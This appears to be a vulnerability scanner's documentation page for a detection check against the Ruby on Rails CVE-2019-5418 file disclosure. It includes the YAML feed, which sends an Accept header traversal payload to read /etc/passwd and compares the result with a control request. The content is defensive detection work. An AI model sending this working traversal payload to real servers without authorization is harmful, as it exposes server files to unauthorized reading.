Ruby on Rails — 1 vulnerability check
noctis ships 1 vulnerability check for Ruby on Rails, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Ruby on Rails Action View Accept Header File Disclosure
| CVE | CVE-2019-5418 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/rails/CVE-2019-5418.yaml |
Tests Ruby on Rails applications for the Action View file content disclosure (CVE-2019-5418): a crafted `Accept` header combined with `render file:` makes Rails render an arbitrary server file. The feed reads /etc/passwd through the `Accept` header traversal on common Rails routes and confirms the root entry is disclosed only when the traversal header is sent.
How noctis detects it
- HTTP(S) request
GET {{rails_path}}, for each of 3 values - HTTP(S) request
GET {{rails_path}} - Parses / computes the next value with a Rhai script
- Checks
root_linefor^root:[^:]*:0:0:→ finding QoD 75: Action View Accept-header traversal read /etc/passwd via GET … (control request with Accept: text/html did not) — …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-5418
- https://groups.google.com/g/rubyonrails-security/c/pFRKI96Sm8Q
- https://github.com/mpgn/CVE-2019-5418
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/rails_doubletap_file_read.rb
Feed source — tests/vulnerabilities/rails/CVE-2019-5418.yaml
# Ruby on Rails Action View `Accept` header file disclosure — CVE-2019-5418
#
# Action View in Rails < 6.0.0.beta3 / 5.2.2.1 / 5.1.6.2 / 5.0.7.2 / 4.2.11.1
# builds the template lookup glob for `render file:` from the request's
# `Accept` header without validating it. A crafted header such as
# `Accept: ../../../../../../../../../etc/passwd{{` turns the lookup into a
# path traversal, and the controller renders the arbitrary file back to the
# unauthenticated client (CISA KEV, Metasploit `rails_doubletap_file_read`).
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# actual file read and confirms it in-band. For each candidate Rails route it
# 1. sends GET <path> with the traversal `Accept` header (the exploit),
# 2. sends the same GET with a normal `Accept: text/html` (control),
# 3. fires only when the exploit reply is HTTP 200 and carries a genuine
# /etc/passwd root entry (`root:<pw>:0:0:`) that the control reply does
# NOT carry — so a page that merely contains passwd-like text can't match.
# The file read is the vulnerability's own primitive; /etc/passwd is world-
# readable and holds no secrets on a shadow-password system. Only the matched
# root line (never the full body) is kept as finding evidence. Nothing is
# written, executed or deleted on the target.
#
# Route list: the NASL walks crawled CGIs; noctis has no crawler, so it probes
# the OpenVAS / Nuclei defaults `/`, `/robots`, and `/opensearch` (Discourse's
# vulnerable route — OpenVAS `2019/discourse/gb_discourse_cve-2019-5418_lfi.nasl`).
# A vulnerable app whose `render file:` action lives on another route is not
# reached (false negative, never a false positive). Only /etc/passwd is read:
# the NASL also tries Windows files (win.ini), so a Rails app on Windows is
# missed by this feed.
#
# CVE-2019-5419 (same `Accept` header, same fixed versions) is a denial of
# service; it is intentionally NOT probed and not listed in `cves:` — this
# feed only proves the CVE-2019-5418 file read.
#
# Payload: the NASL appends a single `{` after 9 × `../`; the original PoC,
# Metasploit and Nuclei close the glob with `{{` — used here. `{{` without a
# closing `}}` is left verbatim by noctis' template engine.
#
# Ported from OpenVAS/Greenbone NVT
# `2019/rails/gb_ruby_on_rails_cve-2019-5418_lfi.nasl` (OID 1.3.6.1.4.1.25623.1.0.108562,
# GPL-2.0-only); cross-checked with Nuclei `http/cves/2019/CVE-2019-5418.yaml`.
uid: 65a37f5a-6d8c-41ee-92c8-1cbb1780dc27
name: "Ruby on Rails Action View Accept Header File Disclosure (CVE-2019-5418)"
description: |
Tests Ruby on Rails applications for the Action View file content disclosure
(CVE-2019-5418): a crafted `Accept` header combined with `render file:` makes
Rails render an arbitrary server file. The feed reads /etc/passwd through the
`Accept` header traversal on common Rails routes and confirms the root entry
is disclosed only when the traversal header is sent.
cves: [CVE-2019-5418]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [rails, ruby-on-rails, action-view, discourse, path-traversal, file-read, lfi, accept-header, intrusive, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-5418"
- "https://groups.google.com/g/rubyonrails-security/c/pFRKI96Sm8Q"
- "https://github.com/mpgn/CVE-2019-5418"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/rails_doubletap_file_read.rb"
steps:
# ── 1. Exploit: Accept-header traversal to /etc/passwd ──────────────────
# The payload sits in a header, not the path, so reqwest's URL
# normalisation does not touch it — http_request is fine here.
- id: accept-traversal
action: http_request
method: GET
path: "{{rails_path}}"
port: "{{port}}"
headers:
Accept: "../../../../../../../../../etc/passwd{{"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rails_resp
# A failed request leaves store_as unset: clear the previous route's reply
# so it can't be compared against this route's control (stale-value FP).
on_failure:
set_vars:
rails_resp: false
loop:
over:
- /
- /robots
- /opensearch
var: rails_path
# ── 2. Control: same route, ordinary Accept header ──────────────────────
- id: accept-control
action: http_request
method: GET
path: "{{rails_path}}"
port: "{{port}}"
headers:
Accept: "text/html"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rails_ctl
on_failure:
set_vars:
rails_ctl: false
# ── 3. Keep only the disclosed root entry, and only when the control ────
# reply does not already contain one.
# Guarded so a failed request (store_as unset) skips instead of erroring.
- id: extract-root-line
action: script
condition: "rails_resp.status == 200 && rails_ctl.status > 0"
code: |
let line = egrep("^root:[^:]*:0:0:", rails_resp.body);
if egrep("^root:[^:]*:0:0:", rails_ctl.body) != "" { line = ""; }
line
store_as: root_line
# ── 4. Confirm the file read ────────────────────────────────────────────
- id: passwd-disclosed
action: match
source: root_line
pattern: "^root:[^:]*:0:0:"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "Action View Accept-header traversal read /etc/passwd via GET {{rails_path}} (control request with Accept: text/html did not) — {{root_line}}"
stop: true